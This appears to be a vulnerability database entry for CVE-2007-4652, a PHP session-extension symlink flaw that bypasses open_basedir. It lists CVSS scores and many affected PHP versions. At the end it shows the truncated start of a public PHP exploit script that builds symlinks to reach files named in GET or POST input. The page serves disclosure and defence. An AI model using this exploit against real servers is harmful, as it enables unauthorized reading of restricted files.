4.4
CVSSv2

CVE-2007-4652

Published: 04/09/2007 Updated: 29/07/2017
CVSS v2 Base Score: 4.4 | Impact Score: 6.4 | Exploitability Score: 3.4
VMScore: 445
Vector: AV:L/AC:M/Au:N/C:P/I:P/A:P

Vulnerability Summary

The session extension in PHP prior to 5.2.4 might allow local users to bypass open_basedir restrictions via a session file that is a symlink.

Vulnerable Product Search on Vulmon Subscribe to Product

php php

php php 4.3.10

php php 4.3.5

php php 4.2.1

php php 5.0.0

php php 4.4.4

php php 5.0.5

php php 5.1.6

php php 5.2.0

php php 5.1.4

php php 4.4.8

php php 4.4.9

php php 3.0

php php 3.0.2

php php 4.0

php php 4.3.11

php php 4.3.4

php php 4.2.2

php php 4.4.5

php php 4.4.0

php php 4.4.1

php php 5.1.3

php php 5.1.2

php php 5.0.2

php php 5.0.1

php php 5.2.2

php php 1.0

php php 3.0.10

php php 3.0.13

php php 3.0.3

php php 3.0.15

php php 3.0.8

php php 3.0.5

php php 4.0.6

php php 4.0.5

php php 4.0.7

php php 4.3.3

php php 4.3.6

php php 4.4.6

php php 4.4.7

php php 4.4.2

php php 4.4.3

php php 5.1.1

php php 5.1.0

php php 2.0b10

php php 2.0

php php 3.0.12

php php 3.0.1

php php 3.0.14

php php 3.0.17

php php 3.0.16

php php 3.0.6

php php 4.0.1

php php 4.0.4

php php 4.0.3

php php 4.3.1

php php 4.3.2

php php 4.2.0

php php 4.2.3

php php 4.3.7

php php 4.3.8

php php 4.3.9

php php 5.0.4

php php 5.0.3

php php 5.1.5

php php 5.2.1

php php 4.3.0

php php 3.0.11

php php 3.0.18

php php 3.0.4

php php 3.0.9

php php 3.0.7

php php 4.1.1

php php 4.1.0

php php 4.0.0

php php 4.0.2

php php 4.1.2

Exploits

<?php /* PHP 5212/531 symlink() open_basedir bypass by Maksymilian Arciemowicz securityreasoncom/ cxib [ aT] securityreason [ d0t] com CHUJWAMWMUZG */ $fakedir="cx"; $fakedep=16; $num=0; // offset of symlink$num if(!empty($_GET['file'])) $file=$_GET['file']; else if(!empty($_POST['file'])) $file=$_POST['file']; else $file=""; ...